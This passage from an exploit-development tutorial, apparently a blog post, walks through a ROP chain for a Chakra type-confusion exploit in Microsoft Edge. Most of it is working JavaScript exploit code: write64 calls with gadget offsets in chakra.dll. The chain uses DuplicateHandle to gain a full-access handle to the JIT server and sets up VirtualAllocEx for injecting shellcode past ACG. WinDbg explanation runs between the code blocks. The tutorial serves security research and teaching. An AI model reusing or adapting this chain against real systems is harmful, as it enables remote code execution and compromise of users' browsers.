<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>Let’s break down what we are seeing above:</p>

<ol>
  <li>RAX contains <code class="language-plaintext highlighter-rouge">kernelbase!DuplicateHandle</code></li>
  <li><code class="language-plaintext highlighter-rouge">kernelbase!DuplicateHandle</code> is a function. When it is called legitimately, it ends in a <code class="language-plaintext highlighter-rouge">ret</code> instruction to return execution to where it was called (this is usually a return to the stack)</li>
  <li>Our “return” address jumps over our “shadow space”. Remember, <code class="language-plaintext highlighter-rouge">__fastcall</code> requires the 5th parameter, and subsequent parameters, begin at RSP + <code class="language-plaintext highlighter-rouge">0x20</code>, RSP + <code class="language-plaintext highlighter-rouge">0x28</code>, RSP + <code class="language-plaintext highlighter-rouge">0x38</code>, etc. The space between RSP and RSP + <code class="language-plaintext highlighter-rouge">0x20</code>, which is unused, is referred to as “shadow space”</li>
  <li>Our final three parameters are written <em>directly</em> to the stack</li>
</ol>

<p>Step one is very self explanatory. Let’s explain steps two through four quickly. When <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> is called legitimately, execution can be seen below.</p>

<p>Prior to the call:
<img src="/images/3typeconfusion86.png" alt="" /></p>

<p>After the call:
<img src="/images/3typeconfusion87.png" alt="" /></p>

<p>Notice what our <code class="language-plaintext highlighter-rouge">call</code> instruction does under the hood. <code class="language-plaintext highlighter-rouge">call</code> pushes the return address on the stack for <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>. When this <code class="language-plaintext highlighter-rouge">push</code> occurs, it also changes the state of the stack so that every item is pushed down <code class="language-plaintext highlighter-rouge">0x8</code> bytes. Essentially, when <code class="language-plaintext highlighter-rouge">call</code> happens RSP becomes RSP + <code class="language-plaintext highlighter-rouge">0x8</code>, and so forth. This is very important to us.</p>

<p>Recall that we do not actually <code class="language-plaintext highlighter-rouge">call</code> <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>. Instead, we perform a <code class="language-plaintext highlighter-rouge">jmp</code> to it. Since we are using <code class="language-plaintext highlighter-rouge">jmp</code>, this doesn’t push a return address onto the stack for execution to return to. Because of this, we supply our <em>own</em> return address located at <code class="language-plaintext highlighter-rouge">RSP</code> when the <code class="language-plaintext highlighter-rouge">jmp</code> occurs - this “mimics” what <code class="language-plaintext highlighter-rouge">call</code> does. Additionally, this also means we have to push our last three parameters <code class="language-plaintext highlighter-rouge">0x8</code> bytes down the stack. Again, <code class="language-plaintext highlighter-rouge">call</code> would normally do this for us - but since <code class="language-plaintext highlighter-rouge">call</code> isn’t used here, we have to manually add our return address an manually increment the stack by <code class="language-plaintext highlighter-rouge">0x8</code>. This is because although <code class="language-plaintext highlighter-rouge">__fastcall</code> requires 5th and subsequent parameters to start at RSP + <code class="language-plaintext highlighter-rouge">0x20</code>, internally the calling convention knows when the <code class="language-plaintext highlighter-rouge">call</code> is performed, the parameters will actually be shifted by <code class="language-plaintext highlighter-rouge">0x8</code> bytes due to the pushed <code class="language-plaintext highlighter-rouge">ret</code> address on the stack. So tl;dr - although <code class="language-plaintext highlighter-rouge">__fastcall</code> says we put parameters at RSP + <code class="language-plaintext highlighter-rouge">0x20</code>, we actually need to start them at RSP + <code class="language-plaintext highlighter-rouge">0x28</code>.</p>

<p>The above will be true for all subsequent ROP chains.</p>

<p>So, after we get <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> into RAX we then can directly write our final three arguments directly to the stack leveraging our arbitrary write primitive.</p>

<p><img src="/images/3typeconfusion88.png" alt="" /></p>

<p>Our call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> is in its final state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DuplicateHandle</span><span class="p">(</span>
	<span class="n">jitHandle</span><span class="p">,</span>		<span class="c1">// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="o">&amp;</span><span class="n">fulljitHandle</span><span class="p">,</span>		<span class="c1">// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server</span>
	<span class="mi">0</span><span class="p">,</span>			<span class="c1">// NULL since we will set dwOptions to DUPLICATE_SAME_ACCESS</span>
	<span class="mi">0</span><span class="p">,</span>			<span class="c1">// FALSE (new handle isn't inherited)</span>
	<span class="n">DUPLICATE_SAME_ACCESS</span>	<span class="c1">// Duplicate handle has same access as source handle (source handle is an all access handle, e.g. a pseudo handle), meaning the duplicated handle will be PROCESS_ALL_ACCESS</span>
<span class="p">);</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion89.png" alt="" /></p>

<p>From here, we should be able to step into the function call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>, execute it.</p>

<p><img src="/images/3typeconfusion90.png" alt="" /></p>

<p>We can use <code class="language-plaintext highlighter-rouge">pt</code> to tell WinDbg to execute <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> and pause when we hit the <code class="language-plaintext highlighter-rouge">ret</code> to exit the function</p>

<p><img src="/images/3typeconfusion91.png" alt="" /></p>

<p>At this point, our call should have been successful! As we see above, a value was placed in our “output buffer” to receive the duplicated handle. This value is <code class="language-plaintext highlighter-rouge">0x0000000000000ae8</code>. If we run Process Hacker as an administrator, we can confirm that this is a handle to the JIT server with <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code>!</p>

<p><img src="/images/3typeconfusion92.png" alt="" /></p>

<p>Now that our function has succeeded, we need to make sure we return back to the stack in a manner that allows us to keep execution our ROP chain.</p>

<p><img src="/images/3typeconfusion93.png" alt="" /></p>

<p>When the <code class="language-plaintext highlighter-rouge">ret</code> is executed we hit our “fake return address” we placed on the stack before the call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>. Our return address will simply jump over the shadow space and our last three <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> parameters, and allow us to keep executing further down the stack (where subsequent ROP chains will be).</p>

<p><img src="/images/3typeconfusion94.png" alt="" /></p>

<p>At this point we have successfully obtained a <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to the JIT server process. With this handle, we can begin the process of compromising the JIT process, where ACG is disabled.</p>

<h2 id="virtualallocex-rop-chain"><code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> ROP Chain</h2>

<p>Now that we possess a handle to the JIT server with enough permissions to perform things like memory operations, let’s now use this <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to allocate some memory within the JIT process. However, before examining the ROP chain, let’s recall the prototype for <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>:</p>

<p><img src="/images/3typeconfusion95.png" alt="" /></p>

<p>The function call will be as follows for us:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAllocEx</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 			<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Setting to NULL. Let VirtualAllocEx decide where our memory will be allocated in the JIT process</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>		<span class="c1">// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)</span>
	<span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span>	<span class="c1">// Reserve our memory and commit it to memory in one go</span>
	<span class="n">PAGE_READWRITE</span>			<span class="c1">// Make our memory readable and writable</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Let’s firstly break down why our call to <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> is constructed the way it is. The call to the function is very straight forward - we are essentially allocating a region of memory the size of our shellcode in the JIT process using our new handle to the JIT process. The main thing that sticks out to us is the <code class="language-plaintext highlighter-rouge">PAGE_READWRITE</code> allocation protection. As we recall, the JIT process doesn’t have ACG enabled - meaning it is quite possible to have dynamic RWX memory in such a process. However, there is a slight caveat and that is when it comes to remote injection. ACG is documented to let processes that don’t have ACG enabled to inject RWX memory into a process which <em>does</em> have ACG enabled. After all, ACG was created with Microsoft Edge in mind. Since Edge uses an out-of-process JIT server architecture, it would make sense that the process not protected by ACG (the JIT server) can inject into the process with ACG (the content process). However, a process with ACG cannot inject into a process <em>without</em> ACG using RWX memory. Because of this, we actually will place our shellcode into the JIT server using RW permissions. Then, we will eventually copy a ROP chain into the JIT process which marks the shellcode as RWX. This is possible, as ACG is disabled. The main caveat here is that it cannot <em>directly</em> and <em>remotely</em> be marked as RWX. At first, I tried allocating with RWX memory, thinking I could just do simple process injection. However, after testing and the API call failing, it turns our RWX memory can’t directly be allocated when the injection stems from a process protected by ACG to a non-ACG process. This will all make more sense later, if it doesn’t now, when we copy our ROP chain in to the JIT process.</p>

<p>Here is the ROP chain we will be working with (we will include our <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> chain for continuity. Every ROP chain from here on out will be included with the previous one to make readability a bit better):</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
